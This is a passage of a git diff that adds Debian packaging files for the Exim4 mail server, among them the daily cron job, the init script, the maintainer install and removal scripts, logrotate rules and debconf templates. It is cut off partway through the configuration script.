]; then + echo "now debugging $0 $@" + set -x +fi + + +# set this to some other value if you don't want the panic log to be +# watched by this script, for example when you're using your own log +# checking mechanisms or don't care. + +E4BCD_DAILY_REPORT_TO="" +E4BCD_DAILY_REPORT_OPTIONS="" +E4BCD_WATCH_PANICLOG="yes" +# Number of lines of paniclog quoted in warning email. +E4BCD_PANICLOG_LINES="10" +E4BCD_PANICLOG_NOISE="" + +# Only do anything if exim4 is actually installed +if [ ! -x /usr/lib/exim4/exim4 ]; then + exit 0 +fi + +[ -f /etc/default/exim4 ] && . /etc/default/exim4 + +SPOOLDIR="$(exim4 -bP spool_directory | sed 's/.*=[[:space:]]\(.*\)/\1/')" + +# The log processing code used in this cron script is not very +# sophisticated. It relies on this cron job being executed earlier than +# the log rotation job, and will have false results if the log is not +# rotated exactly once daily in the daily cron processing. Even in the +# default configuration, it will ignore log entries made between this +# cron job and the log rotation job. + +# Patches for more sophisticated processing are appreciated via the +# Debian BTS. + +E4BCD_MAINLOG_NOISE="^[[:digit:][:space:]:-]\{20\}\(\(Start\|End\) queue run: pid=[[:digit:]]\+\|exim [[:digit:]\.]\+ daemon started: pid=[[:digit:]]\+, .*\)$" + +if [ -n "$E4BCD_DAILY_REPORT_TO" ]; then + if [ -x "$(command -v eximstats)" ] && [ -x "$(command -v mail)" ]; then + if [ "$(< /var/log/exim4/mainlog grep -v "$E4BCD_MAINLOG_NOISE" | wc -l)" -gt "0" ]; then + < /var/log/exim4/mainlog grep -v "$E4BCD_MAINLOG_NOISE" \ + | eximstats $E4BCD_DAILY_REPORT_OPTIONS \ + | mail -s"$(hostname --fqdn) Daily e-mail activity report" \ + $E4BCD_DAILY_REPORT_TO + else + echo "no mail activity in this interval" \ + | mail -s"$(hostname --fqdn) Daily e-mail activity report" \ + $E4BCD_DAILY_REPORT_TO + fi + else + echo "The exim4 cron job is configured to send a daily report, but eximstats" + echo "and/or mail cannot be found. Please check and make sure that these two" + echo "binaries are available" + fi +fi + +log_this() { + TEXT="$@" + if ! logger -t exim4 -p mail.alert $TEXT; then + RET="$?" + echo >&2 "ALERT: could not syslog $TEXT, logger return value $RET" + fi +} + +if [ "$E4BCD_WATCH_PANICLOG" != "no" ]; then + if [ -s "/var/log/exim4/paniclog" ]; then + if [ -x "/usr/local/lib/exim4/nonzero_paniclog_hook" ]; then + /usr/local/lib/exim4/nonzero_paniclog_hook + fi + if [ -z "$E4BCD_PANICLOG_NOISE" ] || grep -vq "$E4BCD_PANICLOG_NOISE" /var/log/exim4/paniclog; then + log_this "ALERT: exim paniclog /var/log/exim4/paniclog has non-zero size, mail system possibly broken" + if ! printf "Subject: exim paniclog on %s has non-zero size\nTo: root\n\nexim paniclog /var/log/exim4/paniclog on %s has non-zero size, mail system might be broken. The last ${E4BCD_PANICLOG_LINES} lines are quoted below.\n\n%s\n" \ + "$(hostname --fqdn)" "$(hostname --fqdn)" \ + "$(tail -n "${E4BCD_PANICLOG_LINES}" /var/log/exim4/paniclog)" \ + | exim4 root; then + log_this "PANIC: sending out e-mail warning has failed, exim has non-zero return code" + fi + if [ "$E4BCD_WATCH_PANICLOG" = "once" ]; then + logrotate -f /etc/logrotate.d/exim4-paniclog + fi + fi + fi +fi + +# run tidydb as Debian-exim:Debian-exim. +if [ -x /usr/sbin/exim_tidydb ]; then + cd $SPOOLDIR/db || exit 1 + if ! find $SPOOLDIR/db -maxdepth 1 -name '*.lockfile' -or -name 'log.*' \ + -or -type f -printf '%f\0' | \ + xargs -0r -n 1 \ + start-stop-daemon --start --exec /usr/sbin/exim_tidydb \ + --chuid Debian-exim:Debian-exim -- $SPOOLDIR > /dev/null; then + # if we reach this, invoking exim_tidydb from start-stop-daemon has + # failed, most probably because of libpam-tmpdir being in use + # (see #373786 and #376165) + find $SPOOLDIR/db -maxdepth 1 -name '*.lockfile' -or -name 'log.*' \ + -or -type f -printf '%f\0' | \ + runuser --shell=/bin/bash \ + --command="xargs -0r -n 1 /usr/sbin/exim_tidydb $SPOOLDIR > /dev/null" \ + Debian-exim + fi +fi diff --git a/debian/exim4-base.dirs b/debian/exim4-base.dirs new file mode 100644 index 0000000..f45547e --- /dev/null +++ b/debian/exim4-base.dirs @@ -0,0 +1,5 @@ +/etc/cron.daily +/etc/logrotate.d +/usr/sbin +/usr/share/doc/exim4-base/examples +/usr/share/man/man8 diff --git a/debian/exim4-base.doc-base.debian b/debian/exim4-base.doc-base.debian new file mode 100644 index 0000000..1d94cb5 --- /dev/null +++ b/debian/exim4-base.doc-base.debian @@ -0,0 +1,9 @@ +Document: exim4-readme-debian +Title: Debian-specific documentation for Exim 4 +Author: Various +Abstract: This file documents specific details of the Exim4 Debian packages. +Section: Network/Communication + +Format: html +Index: /usr/share/doc/exim4-base/README.Debian.html +Files: /usr/share/doc/exim4-base/README.Debian.html diff --git a/debian/exim4-base.doc-base.filter b/debian/exim4-base.doc-base.filter new file mode 100644 index 0000000..2cf5915 --- /dev/null +++ b/debian/exim4-base.doc-base.filter @@ -0,0 +1,8 @@ +Document: exim4-filter-txt +Title: Exim's interface to mail filtering +Author: Various +Abstract: Description of the user interface to Exim's in-built mail filtering facility. This is the text version. +Section: Network/Communication + +Format: text +Files: /usr/share/doc/exim4-base/filter.txt.gz diff --git a/debian/exim4-base.doc-base.spec b/debian/exim4-base.doc-base.spec new file mode 100644 index 0000000..2f57532 --- /dev/null +++ b/debian/exim4-base.doc-base.spec @@ -0,0 +1,8 @@ +Document: exim4-spec-txt +Title: Exim specification +Author: Various +Abstract: Exim reference manual. This is the text version. +Section: Network/Communication + +Format: text +Files: /usr/share/doc/exim4-base/spec.txt.gz diff --git a/debian/exim4-base.docs b/debian/exim4-base.docs new file mode 100644 index 0000000..b785cea --- /dev/null +++ b/debian/exim4-base.docs @@ -0,0 +1,15 @@ +b-exim4-daemon-light/ACKNOWLEDGMENTS +b-exim4-daemon-light/NOTICE +b-exim4-daemon-light/README.UPDATING +b-exim4-daemon-light/doc/Exim3.upgrade +b-exim4-daemon-light/doc/Exim4.upgrade +b-exim4-daemon-light/doc/GnuTLS-FAQ.txt +b-exim4-daemon-light/doc/NewStuff +b-exim4-daemon-light/doc/OptionLists.txt +b-exim4-daemon-light/doc/README +b-exim4-daemon-light/doc/README.SIEVE +b-exim4-daemon-light/doc/dbm.discuss.txt +b-exim4-daemon-light/doc/filter.txt +b-exim4-daemon-light/doc/spec.txt +debian/README.Debian.html +debian/changelog.Debian.old diff --git a/debian/exim4-base.examples b/debian/exim4-base.examples new file mode 100644 index 0000000..88bad16 --- /dev/null +++ b/debian/exim4-base.examples @@ -0,0 +1,5 @@ +b-exim4-daemon-light/util/cramtest.pl +b-exim4-daemon-light/util/logargs.sh +b-exim4-daemon-light/util/unknownuser.sh +debian/exim-adduser +debian/exim-gencert diff --git a/debian/exim4-base.exim4-paniclog.logrotate b/debian/exim4-base.exim4-paniclog.logrotate new file mode 100644 index 0000000..dd36d68 --- /dev/null +++ b/debian/exim4-base.exim4-paniclog.logrotate @@ -0,0 +1,10 @@ +/var/log/exim4/paniclog { + size 10M + missingok + rotate 10 + compress + delaycompress + notifempty + create 640 Debian-exim adm +} + diff --git a/debian/exim4-base.exim4.init b/debian/exim4-base.exim4.init new file mode 100644 index 0000000..61f2aff --- /dev/null +++ b/debian/exim4-base.exim4.init @@ -0,0 +1,289 @@ +#! /bin/sh +# /etc/init.d/exim4 +# +# Written by Miquel van Smoorenburg <miquels@drinkel.ow.org>. +# Modified for Debian GNU/Linux by Ian Murdock <imurdock@gnu.ai.mit.edu>. +# Modified for exim by Tim Cutts <timc@chiark.greenend.org.uk> +# Modified for exim4 by Andreas Metzler <ametzler@debian.org> +# and Marc Haber <mh+debian-packages@zugschlus.de> + +### BEGIN INIT INFO +# Provides: exim4 +# Required-Start: $remote_fs $syslog $named $network $time +# Required-Stop: $remote_fs $syslog $named $network +# Should-Start: postgresql mysql clamav-daemon greylist spamassassin +# Should-Stop: postgresql mysql clamav-daemon greylist spamassassin +# Default-Start: 2 3 4 5 +# Default-Stop: 0 1 6 +# Short-Description: exim Mail Transport Agent +# Description: exim is a Mail Transport agent +### END INIT INFO + +set -e + +test -x /usr/lib/exim4/exim4 || exit 0 + +. /lib/lsb/init-functions + +if [ -n "$EX4DEBUG" ]; then + echo "now debugging $0 $@" + set -x +fi + +LANG=C +export LANG + +#read default file +QUEUERUNNER='combined' +QUEUEINTERVAL='30m' +UPEX4OPTS='' +[ -f /etc/default/exim4 ] && . /etc/default/exim4 +PIDFILE="/run/exim4/exim.pid" +QRPIDFILE="/run/exim4/eximqr.pid" + +upex4conf() { + UPEX4CONF="update-exim4.conf" + OLDIFS="$IFS" + IFS=: + for p in $PATH; do + if [ -x "$p/$UPEX4CONF" ]; then + IFS="$OLDIFS" + $p/$UPEX4CONF $UPEX4OPTS $1 + return 0 + fi + done + IFS="$OLDIFS" +} + +# Exit if exim runs from /etc/inetd.conf +if [ -f /etc/inetd.conf ] && grep -E -q '^[[:space:]]*((\*|[[:alnum:].-]+):)?smtp[[:space:]]' /etc/inetd.conf +then + upex4conf + exit 0 +fi + + +DAEMON="/usr/sbin/exim4" +NAME="exim4" + +# this is from madduck on IRC, 2006-07-06 +# There should be a better possibility to give daemon error messages +# and/or to log things +log() +{ + case "$1" in + [[:digit:]]*) success=$1; shift;; + *) :;; + esac + log_action_begin_msg "$1"; shift + log_action_end_msg ${success:-0} "$*" +} + +start_exim() +{ + [ -e /run/exim4 ] || \ + install -d -oDebian-exim -gDebian-exim -m750 /run/exim4 + case ${QUEUERUNNER} in + combined) + start_daemon -p "$PIDFILE" \ + "$DAEMON" -bd "-q${QFLAGS}${QUEUEINTERVAL}" \ + ${COMMONOPTIONS} \ + ${QUEUERUNNEROPTIONS} \ + ${SMTPLISTENEROPTIONS} + log_progress_msg "exim4" + ;; + separate) + start_daemon -p "$PIDFILE" \ + "$DAEMON" -bd \ + ${COMMONOPTIONS} \ + ${SMTPLISTENEROPTIONS} + log_progress_msg "exim4_listener" + start_daemon -p "$QRPIDFILE" \ + "$DAEMON" -oP $QRPIDFILE \ + "-q${QFLAGS}${QUEUEINTERVAL}" \ + ${COMMONOPTIONS} \ + ${QUEUERUNNEROPTIONS} + log_progress_msg "exim4_queuerunner" + ;; + queueonly) + start_daemon -p "$PIDFILE" \ + "$DAEMON" -oP $PIDFILE \ + "-q${QFLAGS}${QUEUEINTERVAL}" \ + ${COMMONOPTIONS} \ + ${QUEUERUNNEROPTIONS} + log_progress_msg "exim4_queuerunner" + ;; + no|ppp) + start_daemon -p "$PIDFILE" \ + "$DAEMON" -bd \ + ${COMMONOPTIONS} \ + ${SMTPLISTENEROPTIONS} + log_progress_msg "exim4_listener" + ;; + nodaemon) + ;; + esac +} + +stop_exim() +{ +# we try to kill eximqr and exim SMTP listener, no matter what +# ${QUEUERUNNER} is set to, we could have switched since starting. + if [ -f "$QRPIDFILE" ]; then + start-stop-daemon --stop --retry 5 --quiet --oknodo --remove-pidfile \ + --pidfile "$QRPIDFILE" \ + --exec "$DAEMON" + # exim does not remove the pidfile + if [ $? -eq 2 ] ; then rm -f "$QRPIDFILE" ; fi + log_progress_msg "exim4_queuerunner" + fi + if [ -f "$PIDFILE" ]; then + start-stop-daemon --stop --retry 5 --quiet --oknodo --remove-pidfile \ + --pidfile "$PIDFILE" \ + --exec "$DAEMON" + # exim does not remove the pidfile + if [ $? -eq 2 ] ; then rm -f "$PIDFILE" ; fi + log_progress_msg "exim4_listener" + fi +} + +reload_exim() +{ + case ${QUEUERUNNER} in + combined|no|ppp|queueonly) + start-stop-daemon --stop --signal HUP --quiet --oknodo \ + --pidfile "$PIDFILE" \ + --exec "$DAEMON" + log_progress_msg "exim4" + ;; + separate) + start-stop-daemon --stop --signal HUP --quiet --oknodo \ + --pidfile "$PIDFILE" \ + --exec "$DAEMON" + log_progress_msg "exim4_listener" + start-stop-daemon --stop --signal HUP --quiet --oknodo \ + --pidfile "$QRPIDFILE" \ + --exec "$DAEMON" + log_progress_msg "exim4_queuerunner" + ;; + esac +} + +kill_all_exims() +{ SIG="${1:-TERM}" + for pid in $(pidof $NAME); do + if [ "$(readlink /proc/$pid/root)" = "/" ]; then + kill -$SIG $pid + fi + done +} + +status() +{ + # the exit value of this function reflects the status of the SMTP + # service. Output shows the status of the queue runner as well. + SMTPNAME="SMTP listener daemon" + QRNAME="separate queue runner daemon" + if [ "${QUEUERUNNER}" = "combined" ]; then + SMTPNAME="combined SMTP listener and queue runner daemon" + elif [ "${QUEUERUNNER}" = "queueonly" ]; then + SMTPNAME="separate queue runner daemon" + fi + log_action_begin_msg "checking $QRNAME" + if pidofproc -p "$QRPIDFILE" "$DAEMON" >/dev/null; then + log_action_end_msg 0 "running" + else + if [ -e "$QRPIDFILE" ]; then + log_action_end_msg 1 "$QRNAME failed" + else + log_action_end_msg 0 "not running" + fi + fi + log_action_begin_msg "checking $SMTPNAME" + if pidofproc -p "$PIDFILE" "$DAEMON" >/dev/null; then + log_action_end_msg 0 "running" + exit 0 + else + if [ -e "$PIDFILE" ]; then + log_action_end_msg 1 "$SMTPNAME failed" + exit 1 + else + log_action_end_msg 0 "not running" + exit 3 + fi + fi +} + +# check for valid configuration file +isconfigvalid() +{ +if ! $DAEMON -bV > /dev/null ; then + log 1 "Warning! Invalid configuration file for $NAME. Exiting." + exit 1 +fi +} + +# check for non-empty paniclog +warn_paniclog() +{ + if [ -s "/var/log/exim4/paniclog" ]; then + if [ -z "$E4BCD_PANICLOG_NOISE" ] || grep -vq "$E4BCD_PANICLOG_NOISE" /var/log/exim4/paniclog; then + echo "ALERT: exim paniclog /var/log/exim4/paniclog has non-zero size, mail system possibly broken" 1>&2 + fi + fi +} + +case "$1" in + start) + log_daemon_msg "Starting MTA" + # regenerate exim4.conf + upex4conf + isconfigvalid + start_exim + log_end_msg 0 + warn_paniclog + ;; + stop) + log_daemon_msg "Stopping MTA" + stop_exim + log_end_msg 0 + warn_paniclog + ;; + restart) + # check whether newly generated config would work + upex4conf --check + log_daemon_msg "Stopping MTA for restart" + stop_exim + # regenerate exim4.conf + upex4conf + isconfigvalid + log_end_msg 0 + sleep 2 + log_daemon_msg "Restarting MTA" + start_exim + log_end_msg 0 + warn_paniclog + ;; + reload|force-reload) + log_daemon_msg "Reloading $NAME configuration files" + # regenerate exim4.conf + upex4conf + isconfigvalid + reload_exim + log_end_msg 0 + warn_paniclog + ;; + status) + status + ;; + force-stop) + kill_all_exims $2 + ;; + *) + echo "Usage: $0 {start|stop|restart|reload|status|force-stop}" + exit 1 + ;; +esac + +exit 0 +# vim:tabstop=2:expandtab:shiftwidth=2 diff --git a/debian/exim4-base.install b/debian/exim4-base.install new file mode 100644 index 0000000..1578048 --- /dev/null +++ b/debian/exim4-base.install @@ -0,0 +1,3 @@ +debian/exim4_refresh_gnutls-params usr/share/exim4 +debian/gnutls-params-2048 usr/share/exim4 +debian/script usr/share/bug/exim4-base diff --git a/debian/exim4-base.links b/debian/exim4-base.links new file mode 100644 index 0000000..eb0ad89 --- /dev/null +++ b/debian/exim4-base.links @@ -0,0 +1,3 @@ +usr/share/man/man8/exim_db.8.gz usr/share/man/man8/exim_dumpdb.8.gz +usr/share/man/man8/exim_db.8.gz usr/share/man/man8/exim_fixdb.8.gz +usr/share/man/man8/exim_db.8.gz usr/share/man/man8/exim_tidydb.8.gz diff --git a/debian/exim4-base.logrotate b/debian/exim4-base.logrotate new file mode 100644 index 0000000..ac31dd4 --- /dev/null +++ b/debian/exim4-base.logrotate @@ -0,0 +1,9 @@ +/var/log/exim4/mainlog /var/log/exim4/rejectlog { + daily + missingok + rotate 10 + compress + delaycompress + notifempty + create 640 Debian-exim adm +} diff --git a/debian/exim4-base.manpages b/debian/exim4-base.manpages new file mode 100644 index 0000000..af32720 --- /dev/null +++ b/debian/exim4-base.manpages @@ -0,0 +1,12 @@ +b-exim4-daemon-light/doc/exim.8 +debian/manpages/exicyclog.8 +debian/manpages/exigrep.8 +debian/manpages/exim_checkaccess.8 +debian/manpages/exim_convert4r4.8 +debian/manpages/exim_db.8 +debian/manpages/exim_dbmbuild.8 +debian/manpages/exim_lock.8 +debian/manpages/exinext.8 +debian/manpages/exiqgrep.8 +debian/manpages/exiqsumm.8 +debian/manpages/exiwhat.8 diff --git a/debian/exim4-base.postinst b/debian/exim4-base.postinst new file mode 100644 index 0000000..4972855 --- /dev/null +++ b/debian/exim4-base.postinst @@ -0,0 +1,103 @@ +#!/bin/sh + +set -e +. /usr/share/debconf/confmodule + +if [ -n "$EX4DEBUG" ]; then + echo "now debugging $0 $@" + set -x +fi + +db_version 2.0 + +BDBVERSION=5.3 + +case "$1" in + configure) + + if ! getent passwd Debian-exim > /dev/null ; then + echo 'Adding system-user for exim (v4)' 1>&2 + adduser --system --group --quiet --home /var/spool/exim4 \ + --no-create-home --disabled-login --force-badname Debian-exim + fi + # Create directories for log etc + # install also fixes permissions. + install -d -oDebian-exim -gadm -m2750 /var/log/exim4 + install -d -oDebian-exim -gDebian-exim -m750 /run/exim4 + install -d -oDebian-exim -gDebian-exim -m750 /var/spool/exim4 + install -d -oDebian-exim -gDebian-exim -m750 /var/spool/exim4/db \ + /var/spool/exim4/input /var/spool/exim4/msglog + + # fix permissions on upgrades + if dpkg --compare-versions "$2" le "4.30-1" ; then + find /var/log/exim4 /var/spool/exim4 -group mail \ + \( -type f -or -type d \) -print0 | \ + xargs -0r chgrp Debian-exim + find /var/log/exim4 /var/spool/exim4 -user mail \ + \( -type f -or -type d \) -print0 | \ + xargs -0r chown Debian-exim + fi + + # Paranoia check: On any db upgrade throw away hints + # databases. + if test -r /var/lib/exim4/berkeleydbvers.txt ; then + OLDBDB=`head -n1 /var/lib/exim4/berkeleydbvers.txt` + else + OLDBDB="unknown" + fi + if [ "$BDBVERSION" != "$OLDBDB" ] ; then + echo exim: DB upgrade, deleting hints-db 1>&2 + rm -f /var/spool/exim4/db/misc-* /var/spool/exim4/db/wait-* \ + /var/spool/exim4/db/callout* \ + /var/spool/exim4/db/retry* \ + /var/spool/exim4/db/ratelimit* \ + /var/spool/exim4/db/__db.retry \ + /var/spool/exim4/db/__db.misc* \ + /var/spool/exim4/db/__db.callout \ + /var/spool/exim4/db/__db.ratelimit \ + /var/spool/exim4/db/__db.wait* \ + /var/spool/exim4/db/log.* + echo "$BDBVERSION" > /var/lib/exim4/berkeleydbvers.txt + fi + # Check that db files are readable by this Exim's db library + dbfiles="" + for f in /var/spool/exim4/db/misc-* /var/spool/exim4/db/wait-* \ + /var/spool/exim4/db/callout* /var/spool/exim4/db/retry* \ + /var/spool/exim4/db/ratelimit* ; do + if [ -f "$f" ]; then + if echo $f | grep \.lockfile\$ >/dev/null 2>&1; then + : # ignore lock files + else + dbfiles="$dbfiles $(basename $f)" + fi + fi + done + for dbfile in $dbfiles; do + if exim_dumpdb /var/spool/exim4 $dbfile >/dev/null 2>&1; then + : # File OK + else + echo "Resetting invalid $dbfile hints db" 1>&2 + rm -f /var/spool/exim4/db/$dbfile \ + /var/spool/exim4/db/$dbfile.* \ + /var/spool/exim4/db/__db.${dbfile}.* \ + /var/spool/exim4/db/log.* + fi + done + + if [ -x "/etc/init.d/exim4" ]; then + update-rc.d exim4 defaults >/dev/null + fi + + # honor dpkg-statoverride settings for files not managed with dpkg + for pat in /var/\*/exim4 /var/\*/exim4/\*; do + [ $EX4DEBUG ] && eval echo "evaluate statoverride $pat" + eval dpkg-statoverride --list $pat | while read USER GROUP MODE FILE; do + [ $EX4DEBUG ] && echo "statoverride $USER $GROUP $MODE $FILE" + chown ${USER}:${GROUP} $FILE + chmod $MODE $FILE + done + done + ;; +esac + +#DEBHELPER# diff --git a/debian/exim4-base.postrm b/debian/exim4-base.postrm new file mode 100644 index 0000000..a543546 --- /dev/null +++ b/debian/exim4-base.postrm @@ -0,0 +1,65 @@ +#!/bin/sh + +set -e + +if [ -e /usr/share/debconf/confmodule ] ; then + . /usr/share/debconf/confmodule + export debconfavailable="yes" +fi + +if [ -n "$EX4DEBUG" ]; then + echo "now debugging $0 $@" + set -x +fi + +case "$1" in + remove) + # work around apt purging -base before even removing -daemon #261994. + # postrm is good enough, we just need the init-script which is a conffile. + if [ -x /etc/init.d/exim4 ]; then + if [ -n "$EX4DEBUG" ]; then + netstat -tulpen + ls -al /run/exim4/ + cat /run/exim4/exim.pid + pidof exim4 + fi + invoke-rc.d exim4 stop + if [ -n "$EX4DEBUG" ]; then + netstat -tulpen + ls -al /run/exim4/ + cat /run/exim4/exim.pid + pidof exim4 + if pidof exim4; then + echo >&2 "WARN: There are some exim4 processes still running after stopping exim" + fi + fi + fi + rm -f /var/lib/exim4/berkeleydbvers.txt + ;; + purge) + update-rc.d exim4 remove > /dev/null + + # ask about purging mailqueue if debconf is available, keep it + # otherwise + if [ -e /var/spool/exim4/input ] \ + && ! rmdir /var/spool/exim4/input 2>/dev/null \ + && [ "$debconfavailable" = "yes" ]; then + db_version 2.0 + db_input medium exim4/purge_spool || true + db_go || true + db_get exim4/purge_spool + purge_spool="$RET" + if [ "${purge_spool}" = "true" ] ; then + rm -rf /var/spool/exim4/input + fi + fi + + # remove logs and pid-dir. + rm -rf /run/exim4 /var/log/exim4 /var/spool/exim4/msglog \ + /var/spool/exim4/db /var/spool/exim4/exim-process.info \ + /var/spool/exim4/gnutls-params* + rmdir /var/spool/exim4 /var/lib/exim4 2> /dev/null || true + ;; +esac + +#DEBHELPER# diff --git a/debian/exim4-base.preinst b/debian/exim4-base.preinst new file mode 100644 index 0000000..6b21759 --- /dev/null +++ b/debian/exim4-base.preinst @@ -0,0 +1,35 @@ +#! /bin/sh + +set -e + + +# Remove a no-longer used conffile +rm_conffile() { + local PKGNAME="$1" + local CONFFILE="$2" + + [ -e "$CONFFILE" ] || return 0 + + local md5sum="$(md5sum $CONFFILE | sed -e 's/ .*//')" + local old_md5sum="$(dpkg-query -W -f='${Conffiles}' $PKGNAME | \ + sed -n -e "\' $CONFFILE ' { s/ obsolete$//; s/.* //; p }")" + if [ "$md5sum" != "$old_md5sum" ]; then + echo "Obsolete conffile $CONFFILE has been modified by you." + echo "Saving as $CONFFILE.dpkg-bak ..." + mv -f "$CONFFILE" "$CONFFILE".dpkg-bak + else + echo "Removing obsolete conffile $CONFFILE ..." + rm -f "$CONFFILE" + fi +} + +case "$1" in +install|upgrade) + # Remove post-wheezy + if test -e /etc/cron.monthly/exim4-base && \ + dpkg --compare-versions "$2" le "4.80-7~"; then + rm_conffile mypackage "/etc/cron.monthly/exim4-base" + fi +esac + +#DEBHELPER# diff --git a/debian/exim4-base.templates b/debian/exim4-base.templates new file mode 100644 index 0000000..ecda4fd --- /dev/null +++ b/debian/exim4-base.templates @@ -0,0 +1,17 @@ +Template: exim4/purge_spool +Type: boolean +Default: false +_Description: Remove undelivered messages in spool directory? + There are e-mail messages in the Exim spool directory + /var/spool/exim4/input/ which have not yet been delivered. Removing + Exim will cause them to remain undelivered until Exim is re-installed. + . + If this option is not chosen, the spool directory is kept, allowing + the messages in the queue to be delivered at a later date after + Exim is re-installed. + +Template: exim4-base/drec +Type: error +_Description: Reconfigure exim4-config instead of this package + Exim4 has its configuration factored out into a dedicated package, + exim4-config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'. diff --git a/debian/exim4-config.config b/debian/exim4-config.config new file mode 100644 index 0000000..2c01faa --- /dev/null +++ b/debian/exim4-config.config @@ -0,0 +1,820 @@ +#!/bin/sh +set -e + +alias stripwhitespace="sed -e 's/^[[:blank:]]*//' -e 's/[[:blank:]]*$//'" + +installeddebconfversion="$(dpkg -s debconf | sed -ne '/^Version/s/^Version: //p')" +if [ "reconfigure" != "$1" ] && \ + dpkg --compare-versions "${installeddebconfversion}" "le" "1.4" && \ + [ "$exim4postinstisrunning" != "true" ] ; then + echo "exim4-config.postinst: [WARN] Installed debconf version is broken. Aborting preconfigure." 1>&2 + exit 0 +fi + +. /usr/share/debconf/confmodule + +if [ -n "$EX4DEBUG" ]; then + echo "now debugging $0 $@" + set -x +fi + +UE4CC="/etc/exim4/update-exim4.conf.conf" + +convert_to_long () +{ + case "$1" in + internet) + echo -n "internet site; mail is sent and received directly using SMTP" + ;; + smarthost) + echo -n "mail sent by smarthost; received via SMTP or fetchmail" + ;; + satellite) + echo -n "mail sent by smarthost; no local mail" + ;; + local) + echo -n "local delivery only; not on a network" + ;; + none) + echo -n "no configuration at this time" + ;; + esac +} +convert_to_short () +{ + case "$1" in + "internet site; mail is sent and received directly using SMTP") + echo -n "internet" + ;; + "mail sent by smarthost; received via SMTP or fetchmail") + echo -n "smarthost" + ;; + "mail sent by smarthost; no local mail") + echo -n "satellite" + ;; + "local delivery only; not on a network") + echo -n "local" + ;; + "no configuration at this time") + echo -n "none" + ;; + esac +} + +convert_transport_to_long () +{ + case "$1" in + maildir_home) + echo -n "Maildir format in home directory" + ;; + mail_spool) + echo -n "mbox format in /var/mail/" + ;; + *) + echo -n "locally customized" + ;; + esac +} +convert_transport_to_short () +{ + case "$1" in + "Maildir format in home directory") + echo -n "maildir_home" + ;; + "mbox format in /var/mail/") + echo -n "mail_spool" + ;; + *) + echo -n "custom" + ;; + esac +} + +# store environment variables in debconf db. +storevar2db() { + dc_eximconfig_configtype="$(printf '%s\n' "${dc_eximconfig_configtype}" | stripwhitespace)" + dc_local_interfaces="$(printf '%s\n' "${dc_local_interfaces}" | stripwhitespace)" + dc_other_hostnames="$(printf '%s\n' "${dc_other_hostnames}" | stripwhitespace)" + dc_readhost="$(printf '%s\n' "${dc_readhost}" | stripwhitespace)" + dc_relay_domains="$(printf '%s\n' "${dc_relay_domains}" | stripwhitespace)" + dc_relay_nets="$(printf '%s\n' "${dc_relay_nets}" | stripwhitespace)" + dc_smarthost="$(printf '%s\n' "${dc_smarthost}" | stripwhitespace)" + dc_minimaldns="$(printf '%s\n' "${dc_minimaldns}" | stripwhitespace)" + dc_use_split_config="$(printf '%s\n' "${dc_use_split_config}" | stripwhitespace)" + dc_hide_mailname="$(printf '%s\n' "${dc_hide_mailname}" | stripwhitespace)" + # store externally changed values to debconf.db + db_set exim4/dc_eximconfig_configtype \ + "$(convert_to_long ${dc_eximconfig_configtype})" + db_set exim4/dc_local_interfaces "${dc_local_interfaces}" + db_set exim4/dc_other_hostnames "${dc_other_hostnames}" + db_set exim4/dc_readhost "${dc_readhost}" + db_set exim4/dc_relay_domains "${dc_relay_domains}" + db_set exim4/dc_relay_nets "${dc_relay_nets}" + db_set exim4/dc_smarthost "${dc_smarthost}" + if [ "${dc_minimaldns}" != "" ]; then + db_set exim4/dc_minimaldns "${dc_minimaldns}" + fi + db_set exim4/use_split_config "${dc_use_split_config}" + db_set exim4/hide_mailname "${dc_hide_mailname}" + # do not store "locally customized" in debconf db, otherwise simply + # removing the custom dc_localdelivery from ue4cc won't work. + if [ "${dc_localdelivery}" != "" ] && + [ "$(convert_transport_to_long ${dc_localdelivery})" != "locally customized" ] ; then + db_set exim4/dc_localdelivery \ + "$(convert_transport_to_long ${dc_localdelivery})" + fi + db_fset "exim4/dc_other_hostnames" mailname "${dc_mailname_in_oh}" +} + +# ipv6: replace double colons in colon-separated host lists with umlaut-o +# replace ':' with ' : ', add leading and ending whitespace. +# return empty string if custom delimiter was used: + # local_domains = <; 172.16.0.0/12; 3ffe:ffff:836f::/48 +# e.g: 'localhost : 172.16.0.1 :3ffe::ffff::836f::::: foo.org' +# ===> ' localhost : 172.16.0.1 : 3ffeöffffö836föö : foo.org ' +alias coloncolon2oe="env -u LC_ALL LC_CTYPE=C sed -e 's/[[:blank:]]*//g' -e '/^</d' -e 's/:::::/:öö/g' -e 's/::::/öö/g' -e 's/:::/:ö/g' -e 's/::/ö/g' -e 's/:/ : /g' -e 's/^/ /' -e 's/$/ /'" + +# try to parse exim3 configuration file - works only if it was generated +# with eximconfig. +parseexim3() { + dc_mailname="$(head -n 1 /etc/mailname | stripwhitespace)" || true + + # get the .... entries from + # host_accept_relay = 127.0.0.1 : ::::1 : ...... + # if they exist, ie. parse list, and remove "127.0.0.1", "::::1" + # and "localhost" from it. + # + dc_relay_nets="$(cat $1 | grep -h '^host_accept_relay[[:blank:]]*=' | sed -e 's/^host_accept_relay[[:blank:]]*=//' | coloncolon2oe | env -u LC_ALL LC_CTYPE=C sed -e 's/ 127\.0\.0\\.1 //g' -e 's/ localhost //g' -e 's/ öö1//g' -e 's/[[:blank:]]*//g' -e 's/::/:/g' -e 's/^://' -e 's/:$//' -e 's/ö/::/g')" + + # 'local_domains = $colonhostnames', including mailname and "localhost" + # + dc_other_hostnames="$(cat $1 | grep -h '^local_domains[[:blank:]]*=' | sed -e 's/^local_domains[[:blank:]]*=//' | coloncolon2oe | env -u LC_ALL LC_CTYPE=C sed -e 's/ localhost //g' -e "s/ ${dc_mailname} //g" -e 's/[[:blank:]]*//g' -e 's/::/:/g' -e 's/^://' -e 's/:$//' -e 's/ö/::/g')" + + # relay_domains = some.domain + dc_relay_domains="$(cat $1 | grep -h '^relay_domains = ' | sed -e 's/^relay_domains[[:blank:]]*=[[:blank:]]*//' -e 's/[[:blank:]]*$//')" + + # lookuphost router exist ---> dc_eximconfig_configtype=internet + # + if cat $1 | grep -h -A2 '^lookuphost:' | \ + grep -h -A1 '[[:blank:]]*driver = lookuphost' | \ + grep -h -q '[[:blank:]]*transport = remote_smtp' ; then + dc_eximconfig_configtype=internet + else + # smart:-director exists ---> dc_eximconfig_configtype=satellite + # + # Later we need the new_address directive to find dc_readhost. + # ' || true' is required for "set -e" + dc_readhost="$(cat $1 | grep -h -A2 '^smart:' | grep -h -A1 '^[[:blank:]]*driver = smartuser' | grep -h '^[[:blank:]]*new_address' || true)" + + # smarthost router exists --> dc_eximconfig_configtype is satellite or smarthost + # + # we need the route_list 